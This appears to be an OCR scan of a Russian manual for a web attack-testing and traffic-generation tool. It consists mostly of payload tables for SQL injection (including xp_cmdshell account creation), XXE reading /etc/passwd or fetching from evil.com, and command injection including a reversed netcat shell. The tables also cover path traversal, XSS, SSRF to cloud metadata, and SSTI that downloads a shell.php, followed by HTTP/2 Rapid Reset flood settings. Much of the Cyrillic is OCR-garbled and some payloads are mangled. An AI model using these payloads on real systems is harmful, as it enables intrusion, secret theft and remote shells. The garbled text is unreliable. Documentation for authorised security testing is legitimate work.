[?id=0+div+1+union%23foo*%2F*bar%0D%0Asele
ct%23f00%0D%0A1%2C2%2Ccurrent_user

Massive hex payload

[?id=1+and+(select%201)=(select%200x4141414141
4144141414141411414141414141414141414141414
1414141414141%E2%80%A6.)+union+select+1,2,v

ersion(),database(),user(),6,7,8,9,10

MySQL table dump

[?id=1  /*lunion select*/ 1itable name from
[*linformation_schema.tables*/

Hex-encoded table

[?id=1 /[*lunion select*/ 1,column_name from
[*linformation_schema.columns where table_name =
0x7573657273*/

Compact data extraction

[?id=1 /*lunion select*/ /[*luser,password*/ from
[*tusers*/

XP_CMDSHELL

[?id=1\"; EXEC master..xp_cmdshell "net user zeq3ul
UrWaFisShiT /add" --

LPAD function'

fid/1/**/||/**/1pad(first_name,7,1).html

Vertical tab LPAD

/id/1%0b||%0blpad(first_name,7,1).html

Double-encoded UNION

1?1d=1%2521%252a*/union%252f%252a/select%252
%252a*/1,2,3%252f%252a*/from%252f%252a*/us
ers--

Current_user

1?1d=0%20div%6201%20union%?20select%201,2,curr
ent_user

MySQL-specific UNION

[?id=1/*1UnloN*/SeLecT+1,2,3--

Concat table names

[?id=/*"UnloN*/+/*1SeLecT*/+1,2,concat(/*!table_n
%20ame*/)+FrOm/*!information_schema*/.tables/*!
WhErE*/+/*!TaBIE_sChEMa*/%20+like+database()

Query stacking 1

/?g=select name&q=password from users

Query stacking 2

/?g=select name,password from users

Fragmented query

[?g=select/*&q=*/name&
amp;q=password/*&q=*/from/*&q=*/users

Version concat

[?p=-1 union [*1select™/
concat_ws(0x3a,version(),database(),user())

Column enum

[?p=-373867 union select 1,2,column_name,4,5 from
information_schema.columns/*

Full system info

[?p=-3195 union [*1select*/
0,1,2,3,4,5,6,7,8,9,concat_ws(0x3a,@@version,user(

),database(),@@version_compile_0s),11,12,13,14,15

,16,17,18,19,20,21,22,23,24,25--

Subquery

/2p=( (SELECT @a) OR 'b') --

Function bypass

/?p=( (SELECT 'a') OR COS (‘b)) ) --

Version check

[?p=-1'or 1=@@version --

Char-based version

/2p=3520 AND
char(51,46,50,51,46,53,52))

(version() like

Limit abuse

/?p=1"union (select 's' from users limit 1,1)

Version 2

/?p=-001 union select 1,2,3,4,5,version(),7,8,9,10

Nsm.
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System user

[?p=-1 or 1=(select system_user)--

Char alert /?p=1 union select
1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,9
7,115,104,32,93),3,4,5,6,7/*

Substring 1?7p=22 AND SUBSTRING((y()),1,1)=x/*

Benchmark [?p="+if(benchmark(3000000,MD5(1)),NULL,NUL

L))%20--

Nested benchmark

/?p=)) and 0=benchmark(3000000,MD5(1))%20--

Waitfor delay

/?p=),NULL)%20waitfor%20delay%620'0:0:20'%20--

Nested sleep

[?p=,(select * from (select(sleep(10)))a)

JSON extract

[?7p=-1748 OR  JSON_EXTRACT("'{""nCvS"":
9981}", "$.nCvS") = 9981*7055

JSON array /2p=123 AND JSON_ARRAY LENGTH('[]") <=
294

JSON keys J2p=123") OR JSON_KEYS((SELECT
CONVERT((SELECT

CONCAT(0x7162766a71,(SELECT
(ELT(4024=4024,1))),0x7178717a71))
utf8))) AND ("XWuM" LIKE "XWuM

USING

Negative float

[?p="union select -7431.1, name, @aaa from u_base--
W_

Float compare

[?p=or 123.22=123.22

Delay syntax

[?p= waitfor delay '00:00:10'--

Nested sleep 2

[?p=(select(0)from(select(sleep(15)))v)/*'+(select(0)f
rom(select(sleep(15)))v)+'%22+(select(0)from(select
(sleep(15)))v)+%22*/

JSON extract 2

/?p=-1134') OR JSON_EXTRACT({\"\"aKER\"\":
9648}, '$.aKER') = 9648*7799 AND ('QlYa' LIKE
'‘Qlya

JSON depth /2p=123) AND 12=12 AND JSON_DEPTH({}) !=
2521

ELT function /2p=123) AND ELT(5287=5287,5480) AND
JSON_ARRAY_LENGTH([]') <= 2333

JSON keys 2 /2p=123 AND JSON_KEYS((SELECT
CONVERT((SELECT
CONCAT(0x7162766a71,(SELECT
(ELT(1141=1141,1))),0x7178717a71)) USING
utfs)))

JSON length /2p=123) AND (SELECT 'eNOW')="FsQu' AND

JSON_LENGTH({}) <= 9779

XXE Advanced, onucanue npuseaero B Tabm. 21

ITpoBepsier ysa3Bumoctd B XML-nmapcepax. Mcnomnb3ytoTcsi aTtaku, CHOCOOHBIE PAacKpBITh

COACPIKNMOC (I)aﬁHOB, WHUNUHUPOBATHL CCTCBBIC IMOAKITOYCHUA U 000OUTH OrpaHUYCHUA .
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Ta6a. 21 — Iapamerpsl «XXE Advanced»

HaszBanmue 3HaueHne
External entity file read <?2xml version="1.0"?><IDOCTYPE root
[<IENTITY test SYSTEM

1> &test;file:///etc/passwd'>]><root>&test;</root>

Base64 data scheme attack

<IDOCTYPE test [ <IENTITY % init SYSTEM
"data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc
3dk"> %init; ]><foo/>

Remote DTD inclusion

<?2xml version="1.0" encoding="1S0O-8859-
1"?><IDOCTYPE foo [<IELEMENT foo ANY
SIENTITY % XXxe SYSTEM

"http://evil.com/secret_pass.txt"
>]><foo>&xxe;</foo>

Collaborator-based SSRF

<IDOCTYPE root [<!ENTITY test SYSTEM
"1>&test;http://h319aaaaz81tmq5ztaaaaaa.burpcollabo
rator.net'>]><root>&test;</root>

22

Command Injection Advanced, onucanue npuseaeHo B Taour.

HpOBepHeT, MOJKHO JIM BBIIIOJIHUTDb IIPOU3BOJIbHBIC KOMAaHIbI OoC uepe3 1mapaMeTpel 3arpoca.

Ataxu oxBarbiBaroT kak POSIX, tak 1 Windows-okpy>xeHusl.

Taon. 22 — IMapamerpsl «Command Injection Advanced»

Ha3zBanue 3HaueHue

SQL-to-OS pivot [?id=10 and 1=0/(select top 1 table_name from
information_schema.tables)

Obfuscated SQL-to-OS /?1d=10 a%nd 1=0/(se%lect top 1 ta%ble_name
fr%om info%rmation_schema.tables)

XPCMDSHELL User Creation CODEBLOCK2_|

Direct XPCMDSHELL Call CODEBLOCKS3_

Bracket Obfuscation [?xp[cmdshell

Basic Command Chaining [?a=; Is

Newline Injection [?a=%0a Is

Subshell Execution 1?7a=%(Is)

Single Quote Escape [?a='ls'

Ampersand Separation [?a=& Is

URL-encoded Ampersand [?a=%26 Is

Double Ampersand [?a=1 && Is

URL-encoded Double Ampersand [?a=%26%26 Is

Pipe Separation [?a=|Is

Double Pipe [?a=|| Is

Path Fragmentation [?a="/b'i'n/l's'

Backslash Obfuscation [?a= /b\\in/I\\s

Variable Substitution [?a=cat$a /etc#$a/passwdSa

File Injection Advanced, onncanue npusenexno B Tabm. 23

TecTupyeT BO3MOKHOCTH BHEIPpEHUS uepes MyTH K daiinam: php://, file://, zip:// n apyrue. Llenn

— HOJYYUTH JOCTYII K KOH(pI/II[eHLII/IaJ'IBHLIM JaHHBIM HWJIW UCITIOJIHACMBIM (I)aﬁnaM.
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K OIIHOKaM MmapCuHra Win paCKpbITUIO JaHHBIX.

Ta6a. 23 — ITapamerpsl «File Injection Advanced»

HaszBanmue

3HaueHne

Basic Directory Traversal

[?file=../bla.txt

Encoded Dot-Dot-Slash

[?file=.%./bla.txt

PHP Filter Exploit via XML Entity

[?a=<!ENTITY%20bin%20PUBLIC%20"php://filter/
read=convert.%20base64-
encode/resource=/path/to/binary/file">

Basic File Protocol

[?p=file=/etc/passwd

File URI Scheme

?p=file:///etc/passwd

PHP Base64 Filter

[?p=php://filter/convert.base64-
encode/resource=../../../..I..letc/passwd

PHP Zlib Compression Filter

[?p=php:/ffilter/zlib.deflate/convert.base64-
encode/resource=/etc/passwd

Kubernetes Secrets via IPv6

[?p=file://0000::001/var/run/secrets/kubernetes.io/ser
viceaccount

— XML Injection Advanced, onucanue npuseneHo B Tabn. 24

AHaJ'II/ISI/IpyeT, KaK CUCTCMa O6pa6aTLIBaCT noas3oBarenbckue XML-BBoABI. MoxkeT IIPUBCCTHU

Taon. 24 — IMapamerpsl «XML Injection Advanced»

HaszBanmue

3HaueHmne

XML Parser Logic Bypass

[?test[1=2test -

— Path Traversal Advanced, onrcanue npuBeacHO B

Tectupyer 00padoTKy myTelt Tuma ../../etc/passwd u ux pa3nuuHbix o0dyckamuii. AKTyanbHO

JJId BBIABJICHUA JOCTYIIA K SaHII/IHIéHHI)IM CHUCTEMHBIM (’paﬁnaM.

Taoua. 25— ITapamerpsl «Path Traversal Advanced»

Ha3Banmue

3nauenue

Windows Path

[?p=...[./WINDOWS/win.ini

Null Byte Termination

[?p=..1..1..]..Jetc/passwd %00

JPG Null Byte

[?p=..1..1..1..Jetc/passwd%00jpg

Query Param Bypass

[?p=..1..1..1..letc/passwd?

Double Encoding

1?p=%252e%252e%252fetc%252fpasswd

Double Encoded Null

[?p=%252e%252e%252fetc%252fpasswd%00

Nested Slashes

[?p=..../]..../letc/passwd

Excessive Slashes

p=.M11 A etc/passwd

Backslash Bypass

1?2p=/%5C../1%5C../%5C../%5C../%5C../%5C../%5C../
%5C../%5C../%5C../%5C../etc/passwd

URL Encoded Slash

[?p=..%2f..%2f..%2f..%2fetc%2fpasswd

Dot Encoding

1?7p=%2e%2e/%2e%2e/%2e%2e/%2e%2¢e/etc/passwd

Triple Encoding

1?2p=..%252f..%252f..%252f..%252f..%252fetc%252f
passwd

Backslash Encoding

1?p=..%255c¢..%255c¢..%255c..%255cetc%255cpassw
d
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Unicode Bypass

1?p=..%c0%af..%c0%af..%c0%af..%c0%afetc%c0%a
fpasswd

Dot Overload

1?p=%252e%252e%252e%252e%252e%252¢eetcpass
wd'

C1 Byte Bypass

1?p=..%c1%9c..%c1%9c..%c1%9c..%c1%9cetcY%cl
%9cpasswd

— UNC Path Traversal Advanced, onrcanue npuseaeHo B Ta01.

26

Hcnone3yer mytu Buaa \host\c$\windows\win.ini aist rectupoBanus A0CTyna K yaaaéHHBIM

HJIN JIOKAJIbHBIM CHUCTEMHBIM pECypcaM 4€PE3 HECTAaHAAPTHBIC METOBI.

BBITIOJTHCHHUA IPOU3BOJILHOI'O KOJda Ha HCJICBOM CEPBLEPC.

Taén. 26 — IMapamerps « UNC Path Traversal Advanced»

HazBanmue

3Hauenune

IPv6 UNC Path

/?p=0::001c$windowswin.ini

Registry Access

/?p=::1c$usersdefault\ntuser.dat

Localhost UNC

[?p=localhostc$windowswin.ini

Long Path Bypass

Pp=ftile:/{iHHHHTTHIHITH clwindowswin.ini

— RCE Advanced, ornucanue npuBeneno B Tadbm. 27

Taon. 27 — Ilapamerpsl « RCE Advanced»

Nmuranus atak Ha ys3BumocTu tuna ShellShock, nasexkuu PHP/JS, u 06xox ¢punsTpoB s

HasBanme

3HaueHnmne

ShellShock Exploit

1?p=() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'

PHP Short Tag

I2p=<?=$_POST[0]?>

Command Concatenation

[?p=; cat /et'c/pa's's'wd

IP-based Execution

[?p=cmd=127.0.0.1 && Is /etc

String Reversal

[?p=$(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'|rev)

Variable Obfuscation

[?p=cat$IFS$9${PWD[a-z]*}e*c${PWD][a-
z]*}p?ss??

— GraphQL Advanced, onucanue npuseneto B Tabn. 28

ABTOMaTHYECKH OTHPABJIACT HECCTAaHAAPTHBIC, FHY6OKO BJIOKCHHBIC U MYTUPOBAHHBIC 3AIIPOCHL

GrathL JJIs1 BBISABJIICHUS HpOGCJ’IOB B BaJIMAAIIUN 1 KOHTPOJIC THUIIOB.

Taon. 28 — IMapamerpsl «GraphQL Advanced»

Ha3Banmue

3Hauenne

Basic Schema Extraction

[?query={ _schema { types { name } } }

Deep Type Introspection

[?query={__schema{queryType{name}mutationTyp
e{name}subscriptionType{name}types{...FullType}

directives{name description locations
args{...InputValue}}}}fragment FullType on
__Type{kind name description
fields(includeDeprecated:true){name description

args{...InputValue}type{... TypeRef}isDeprecated
deprecationReason}inputFields{...InputValue}interfa
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ces{...TypeRef}enumValues(includeDeprecated:true)
{name description isDeprecated
deprecationReason}possibleTypes{... TypeRef} }rag

ment InputValue on __InputValue{name description
type{...TypeRef}defaultValue}fragment TypeRef on
__Type{kind name ofType{kind name ofType{kind
name ofType{kind name ofType{kind name
ofType{kind name ofType{kind name ofType{kind

name}}}}}3}}

XSS Advanced, onrcanue npuseaeHo B Tabm. 29

[TpoBepka Ha BO3MOXHOCTH BHeApeHHUs JavaScript-koma B BeO-cTpanwuily. Mcmoib3yroTces

payload'st a1 DOM-based, reflected u stored XSS.

Ta6a. 29 — ITapamerpsl «XSS Advanced»

HaszBanmue

3HaueHmne

Body Onload

/?g=<body onload=alert('test1’)>

Mouseover Event

/?g=<b onmouseover=alert("Wufff!")>click me!</b>

Image Error

[?g=<img/src=x/onerror=xxx

Wheel Event

/?g="onwheel=alert(111)

Prototype Pollution

/?q=?__proto__[innerHTML]=<img/src/onerror%3da
lert(1)>

Closure Base Path

[?0=?__proto_ [CLOSURE_BASE_PATH]=data:,al
ert(1)//

Vue.js Exploit

[?q=__proto__[v-if]=_c.export
constructor(‘alert(1))()

SVG MIME Abuse

/?g=sometext<svg
onload=alert(document.domain)>?mimeType=text/ht
ml

SVG Short

[?g="><svg/onload=alertxss>

Exception Handler

[?9="1)}catch(e){if(!this.x)alert(document.domain),th
is.x=1}/

Self XSS

1?g="));if('self.x)self.x=!alert(document.domain)}cat

ch(e){}/

Image Error 2

/?gq=<img src=x onerror=alert(document.domain)>/all

JavaScript Pseudo

[?g=javascript:setinterval(‘ale'+'rt(document.domain)’

Map Confirm

/?g="0nclick="([1].map(confirm))

Base64 Image

/?g=<img\nsrc=data:image/gif;base64,ROIGODINAQ
ABAAD/ACWAAAAAAQABAAACADs=\nonload
=alert(1)>

Autofocus Bypass

/?9=\\"autofocus=alert(1)//

External Entity

[?a=<IENTITY%20pay%20SYSTEM%20"http://exa
mple.com/payload.xml">

Doctype Short

[?a=<IDOCTYPE :. SYTEM "http://"

Complex Doctype

[?a=<IDOCTYPE :_-_: SYTEM "http://"

SSRF Advanced,

ornmcanue npuseaeHo B Tadm. 30

TecTtupyeT BO3MOXKHOCTH 3acTaBUTh cepBep nenate HTTP-3ampockl oT cBOEro MMeHu K

BHYTPEHHUM cepBHucaM, metadata API win BHEIIHUM ajpecam.
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Ta6a. 30 — ITapamerpsr «<SSRF Advanced»

HaszBanmue 3HaueHne
Cloud Metadata /?g=https://somehost/metadata/instance
Telnet IPv4 [?g=telnet://2852039166/
IPv6 Transition [?q=http://[::ffff.a9fe:a9fe]/
AWS Metadata /?q=http://[0:0:0:0:0:ffff:169.254.169.254]/latest/met
a-data/
OpenStack Metadata 1?q=http://169.254.169.254/openstack

Octal Encoding

1?q=http://0251.00376.000251.0000376/

Shortened IP

1?q=http://0251.254.169.254

Localhost

/2g=http://0.0.0.0:80

Gopher Protocol

/?g=gopher://0.0.0.0:443

SSH Port /?q=http://0.0.0.0:22

FTP IPv4 1?q=ftp://3232235521/
Short Port /?g=http://0:8080/

Minimal URL [?q=http://0/

Link-Local [?q=http://169.254.169.254
IMAP /?q=imap://2130706433
Wildcard IPv6 1?q=http://T::]

Compressed IPv6

/?g=http://0000::1

Unicode Gopher

1?q=gopher://%EF%BD%9A%EF%BD%9A%EF%B
D%9A

TFTP Unicode

12G=tftp://%F0%9D%IF%BEY%F0%ID%IF%SEYFO
%9DY%IFSE

— SSI/SSTI Advanced, omcanue npuseneno B Taom. 31

Ataku Ha mabiaonu3aropsl (Jinja2, Freemarker u np.) u SSI-uncrpyxuu. Llenb — BbINoONIHUTE

KOMaH/Ibl WJIM TIPOYUTATh (ailiibl yepe3 MabIOHHYIO JIOTHKY.

Ta6a. 31 — IMapamerpsi «SSI/SSTI Advanced»

Ha3Banmue

3nauenue

SSI Command

[?g=<!--#exec cmd="wget http://some_host/shell.txt |
rename shell.txt shell.php"-->

SSI List Dir

[?q=<!--#exec cmd="1s" -->

SSI Windows Dir

[?q=<1--#exec cmd="dir" -->

Java Resource

1?7q=${class.getResource("./test/test.res").getContent(
)}

Twig RCE 1?9={{_self.env.registerUndefinedFilterCallback("ex
ec") }H{ self.env.getFilter("id")}}
Freemarker RCE [?q=<#tassign ex =

"freemarker.template.utility.Execute"?new()>${
ex("id")}

Python Attribute

1?q={{requestjattr("__class__")}}

)K) HapaMeTpLI CCCCHUHU - MAPaMCTPhbI, KaCAOMHECS YIPABJICHUA CCCCUAMU B pPaMKax

TCKYLICT'O IUIarnHa, OMMCaHuEC KOTOPBIX YKA3aHbI B Tabn. 32
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Ta6u. 32 — Ilapamerpsl «Ceccum»

HaszBanue Onucanue 3HayeHune
Oobee MaxkcuManbHOE KOJIHIECTBO OMHOBPEMEHHO | 3ajaiiTe YHCIOBOE 3HAUCHUE
KOJINYECTBO AaKTUBHBIX CECCHUH, KOTOpBIE MOIYT OBITH
ceccuit YCTaHOBJICHBI B paMKax IUIarvHa.

Tanm-ayT Bpems B cexyHmax, B TedeHHE KOTOPOro | 3ajaiiTe 4MCIOBOE 3HAUCHUE
MTOBTOPHOTO Iepecer-CT Oyzmer TIBITATHCA
MOAKITIOUCHUS BOCCTAaHOBUTh COCAMHEHHE TIIOCIE €Tro

paspeiBa. Ecmm coeamHenume He Oyzmer

BOCCTAaHOBJIEHO B YKa3aHHBIM TEPHOI,
ceccus OyIeT 3aKphITa.

IloaxmoyeHui B
CEKYHIly

MaxkcuManbHOE KOJHUECTBO HOBBIX CECCHH,
KOTOpBIE MOTYT OBITh YCTAHOBIICHBI 33 OJTHY
CEeKYHIY.

3agaiiTe YUCIOBOE 3HAUEHUE

Makc. cTpumMoOB
(Ha ceccuro)

MakcumaabHOE ~ KOMMYECTBO  HOTOKOB
JAaHHBIX, KOTOpPBIE MOTYT OBITh aKTHBHBI B
OJIHOM CECCHUHU.

[Tapamerp  JOCTYNEH  TONBKO  IIPU
BkitoueHnu H2 B «Ilapamerpax HTTP».

3aaiiTe 4nCI0BOE 3HAUCHUE

Tymbnep  «be3 | MakcuManbHasi MPOU3BOAUTENHHOCTh 0€3 | BKIFOYHTH/BBIKIIOYHTS
OTpaHUYCHUS» OTpaHMYCHUH Ha KOJ-BO OTIPABIISIEMBIX

3aIPOCOB B CEKYyHAY
3ampocoB B | MakcuMalpHOE  KOJIMYECTBO  3aIlpOCOB, | 3amaiiTe YUCIOBOE 3HAYCHHUE
CEKyHIY (Ha | KOTOpBIE MOTYT OBITH O00pabOTaHEl B
CECCHIO0) CEKYHJLy AJIsl OTHOHM CeCCHU/CTpHMa.

WuTepBan Mexny
OTIPaBKOHI
3a1pocoB

Onmnus Mo3BOJSIET HACTPOUTH  3aAEPIKKY
MEXIy OTIpaBKOH 3aJaHHOTO  KOJI-Ba
3aMpocoB B CEKYHIY.

3agaiiTe YUCIOBOE 3HAUYEHUE

3) Z[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTBI IJ1aruHa, OnucCaHue

KOTOpOro ykazaHo B Ta0mn. 33.

Ta6u. 33 — [apametp «/lauTeILHOCTHY

Ha3zBanmue Onucanue 3Hauenue
JmurenbHOCTH Bpewms renepanun Tpaduka 3ajaiiTe YKUCIOBOE 3HAUCHWE M BhIOEpeTe
TeHepamnu BEeIMYUHY (B CEKyHIaX, MUHYyTaX WA

gacax)

5.3.1.3 HTTP/2 Rapid Reset

HTTP/2 Rapid Reset — miaruH Ui reHepaly pa3IvYHOrO BeO-Tpaduka ¢ MEXaHH3MOM B

nporokosie HTTP/2, xoTopslit mo3BosiseT ObICTPO cOpachiBaTh COETUHEHMUS.

JIaHHBIN IUIATWH COCTOUT U3 CIEAYIOIIUX TapaMeTpPOB:

a) VICTOYHMKM — COBOKYMHOCTh M3 BbIOpaHHOro areHta, uHTepdeiicoB u MAC-

aJipecoB C KOTOPBIX areHT OyAeT OTHPaBIATh U MpUHUMATh Tpaduk. OmnrcaHue napaMmeTpoB

ykasanbl B Tabn. 40;
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Ta6u. 34 — Ilapamerpsbl «ACTOYHHKI»

HasBanue Onucanne 3HauyeHue

ATeHT AreHT, C KOTOpOro OyneT OTHpaBisiThbcs | BriOepere areHT U3 criMcKa areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
Oyzet mpuHUMATh Tpaduk

CeTb BriOpannbie 00bekT «Cetn» (cM. 3arojoBok | Beibepere o0bvexT «Cern» U3  crnmcka

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO
OyoyT HCIOJB30BaThCS UL OTIPABKH
tpaduka. Ecnum BbIOpaHo Oonee 0OJHOTO
00BEKTa, MOYKHO M3MCHUTD HAPAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY

BBI6paHHBIMI/I o0bekTaMu «CeTH».

00beKTOB. 3asaiite Bec (10 YMOIYaHUIO, BEC
pacripesenseT paBHOMEPHO MaKEeThl MEXIY

obbekTamu «Cetny)

6) Llenu — mapameTtpsl A5 BIOOpa 00BEKTA, B KOTOPBIN OyaeT HapaBIAThCA Tpahuk

(cMm .3aromoBok 5.2.2.3);

Ha3Banmue

Onucanmne

3Hauenue

Henp

Bri6pannbie 00beKT «CeTi» (CM. 3aT0JIOBOK
5.2.2.3) mapaMeTpbl  KOTOpOro  OyayT
UCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOPAHHYIO LEb.

Bribepere o0bekt «CeTm» W3  cIHCKa

00BEKTOB.

B) IP 3aronosok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMCaHMe KOTOPHIX yka3aHbl B Tabm. 35;

Taoa. 35— IMapamerpsl «IP 3aromoBok (L3)»

HazBanue Onucanne 3naveHue
TTL (Time to | IMapamerp TTL onpenenser MakcumaibHoe | 3aJaiTe IHCII0BOC 3Ha1CHUC (1o
Live) KOJIMYECTBO ~ MapUIPYTH3aTOPOB  (XOIOB),

yepe3 KOTOpble MOXKET TMPONUTH TaKeT
JTAaHHBIX, PEXE 9YeM OH OyAeT OTOPOIICH.

yMoi4aHuio, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of
Service)

DSCP — »sto0 mone B 3aronoBke |P-makeTa,
KOTOPOE HCIOJB3YETCSl IUIsl  OMPEACICHHUS
npropuTeTa u 00padoTku Tpaduka

3anaiite YUCJIOBOE 3HAUECHUE (o
yMou4aHuo, 3Hauenne DSCP sBnsercs: «7»)

ECN — 310 MexaHHU3M, KOTOPBIi O3BOJISET
MapuIpyTU3aTopaM yBEJOMISTh Y31l O
neperpyskax B ceTu 0e3 cOpoca nakeTos.

Bribepere 3HaueHNE U3 CIIHCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))
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r) TCP 3aromnoBok (L4) — mapamerpsl HacTpoek IP 3aromoskos Ha yposue L4 TPC/IP,

OMHCaHue KOTOPhIX yKa3aHbl B Taba. 36;

Taon. 36 — IMapamerpsl «TCP 3aroaoBok (L4)»

Ha3panue Onucanne 3HaveHue

Max. Segment Size | MakcuManbHBINA pa3Mep cerMeHTa | 3ajaiiTe YHUCIOBOE 3Ha4eHHe (110

(MakcumarbHeLi PasMep | onpenenser MaKCHMaJIbHBIH | YMOJYaHWIO, 3HaueHue  Max.

CerMeHTa)
00bEM JIIaHHBIX, KOTOpBI MoxeT | Segment Size sBistercs: «1460»)
ObITh Tepean B omHOM TCP-
CerMeHTe

WS (IP Options) IMapamerp WS (Window Scale) | 3anaiite uucioBoe 3HaueHue (T10
OTHOCHTCS K MEXaHU3My | YMOJ4YaHWIO,  3HaueHHne WS
MacmrabupoBanuss okHa TCP, | sBisercs: «64»)
KOTOpBIA MO3BOJISIET  YBEJIUYUTH
pasMep OKHa /sl yNpaBJCHUS
MTOTOKOM JaHHBIX.

Window Size (Pa3mep okHa) Pasmep oxkma TCP ompenenser | 3amaiite 4mcioBoe 3Ha4YeHHE (10
00bEM JIaHHBIX, KOTOPBI MOXET | yMon4aHuio, 3Hayenue Window
ObITh OTHpaBiieH 0Oe3 oxunaHus | Size sBISAETCS: «256%)
MIOJTBEPIKACHHS OT MOJTyqaTelIs.

n) Ilapamerpsr HTTP - mapamerpst HacTpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, onrcanue KoTophix ykaszaHo B Tabm. 37;

Ta6a. 37 — Iapamerpsl «Ilapamerpst HTTP»

HaszBanue Onucanue 3Hauenue

HTTPs ‘YkasbIBaer, UCIIOJIb3YETCS mu | la / Her (ykaxuTe TeKyllee COCTOSHHE
3alUIIEHHBIA  TPOTOKONT  TIEpeaudl | MepeKIouaresieM TyMmoaepa)
nanaeix HTTPS

Bepcust TLS | Bepcus TLS (Transport Layer Security) | Beibepere 3nagenne TLS v1.2 mwim TLS v1.3
ompenensier NPOTOKON MIH(POBaHMS,
UCIIONB3YEMBbI Uit o0ecreyeHus
0e30macHOi Tepenayn JaHHBIX MEXTY
KJIMEHTOM u cepBepoM
(ITapametp nocTyneH, eciu mnapaMmeTp
HTTPs BxiroueH)

Bepcus VYkaspBaer Bepcuto mpotokona HTTP, | Beibepere 3nauenne HTTP 1.1 wim HTTP 2.0
HTTP WCIOJIB3YEMYIO JIJIS IepeAayun JaHHbIX.
User-Agent 3aroyioBoK, KOTOpBIN uaeHTHGHIUpYyeT | BBenure 3HaueHHe 3arojoBKa:
KIIMEHTCKOE  MPHIIOKEHUE  (HArpuMep, ® [0 YMOJYaHHWIO, 3HAYCHHEM 3aroBOJIKa
Opaysep) W OIEPALHMOHHYIO CHCTEMY, C seusiercs:  «Mozilla/5.0 (Windows NT
KOTOPO#i OCYIIECTBISETCA 3ampOC. 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/133.0.0.0
Safari/537.36»

${userAgent} - OGecmeumBaer porammio User-
Agent: UIsI  KaXIOTO 3ampoca  BeIOHMpaeTcs
CITydaiHBIN BaJHUIHBINH BapHaHT U3 CIHCKA B BeO-
uHTEpdeiice
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Iyts VYka3piBaeT MyTh K 3amparimBacMoMy | Beemute 3HadeHme myTH (IO  yYMOIYAHUIO,
pecypcy Ha cepBepe. Oto dacth URL, | 3HaueHWe MyTH SIBISIETCS KOPHEBAs IHPEKTOPHUS
KOTOpas CIeyeT 3a JOMCHHBIM HMEHEM. | cepBepa: «/»)

HTTP meron | Meton, wucmonp3yeMblii Uit 3ampoca | BeiGepeTe u3 ClieAyIOmero CimucKa:

pecypca Ha cepsepe.

e GET

e POST

e PUT

e PATCH
e DELETE

HTTP craryc

Onmus, oTBeYaromas 3a OTCIICKUBAHUE
nepeagpecalyy CECCUU B CTOPOHY LICIIH.
Ecnu onmus BKIIOYEHA: BCE OTBETHBIE
3ampochkl cojepKalre ko orsera 3XX
OynyT oTpaboTaHbl U ceccusi BMECTe C
MOCJCAYIONMM TpahUKOM B paMKax
9TOM ceccun OyneT MepeHalpaBieH B
Lenb,  yKa3aHHYHd B 3aroJIOBKE
«location»

BKITFOYHTE/BBIKITIOYHTE TyMOIIEp

HTML Meta
Refresh

OHI_[I/ISI, OTBCYHaromas 3a OTCJICKHUBAHUC
nepeaapecanum ceCCMu B CTOPOHY LICTIA.

Ecnm ommus BKIIOYEHA: BCE OTBETHBIC
3anpockl, cogepxamnue B oreere HTML
cTpanuily ¢ meta-rerom «refreshy 6ymyr
OoTpabOTaHBl M CecCHsi BMeCTe C
HOCTEAYIOMHUM TpahUKOM B paMmKax
9TON ceccun OyneT MepeHalpaBlieH B
Henb,  yKa3aHHYl0O B  3arojioBKe
«content», BKiIro4ast 3a€pKKY

BKITIOYNTE/BBIKITIOUNTE TYMOIIEP

I'my6una

3HayeHHE MAaKCHMAaJIbHO JOMYCTHMOIO
KOJIMYECTBA TMepeaapecalii B paMKax
oxuou TCP ceccun

3ajaiiTe CcBOe 3HAYECHHE
3Ha4YeHHE paBHO «20»)

(mo  ymom4aHwuIO,

Query

napameTpsl

ITapametpel, nepemaBaembie B URL
nocJe 3Haka Borpoca (?)

BBeante 3HaueHuwe mocie
«J106aBUTH TApaMETPBI»:

Ha)XaTusd KHOIIKH

e  BaeauTte cBoe 3HaUCHHUE

o  ${str(length)} - DopmupyeT
MPOU3BOJIHYO KOMOWHAIMIO CHMBOJIOB
3ajanHoM 1muHEl (pumep: ${str(16)})

e ${strMinMax(min_length,max_length)}
- Dopmupyer MIPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B

YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - DopMupyer
NPOU3BOJIHYKO KOMOWHAIMIO CHMBOJIOB
3aIaHHOM [UTHHBI B IIECTHAAATEPHIHOM
dopmare (mpumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
- DopmupyeT NPOU3BOJIEHYIO
KOMOWHALIHIO CHMBOJIOB B
IICCTHALATEPUIHOM bopmare B

YKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BanuaHbIH email
CO CIy4YaifHbIM UMEHEM IOJIb30BaTeIsl U
JOMEHOM
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${login} - ®opmupyeT BaNUAHBIH JOTHH
[0JIb30BATEIS

${password}- dopmupyer BanHAHBIH
[apOoJTh TI0JIB30BATENS

3aroy0BK1

JlOTIOTHATETbHBIC
OTMpaBJsieMbIe
3alpPOCOM.

MeTalaHHble, | BBenquTe 3HaueHHe TOCIIE HaXaTHUsl KHOIKHU
BMecte ¢ HTTP- | «/lo6aBuTh mapaMeTpbi»:

BBenute cBoe 3HaueHHE

${str(length)} - dopmupyer
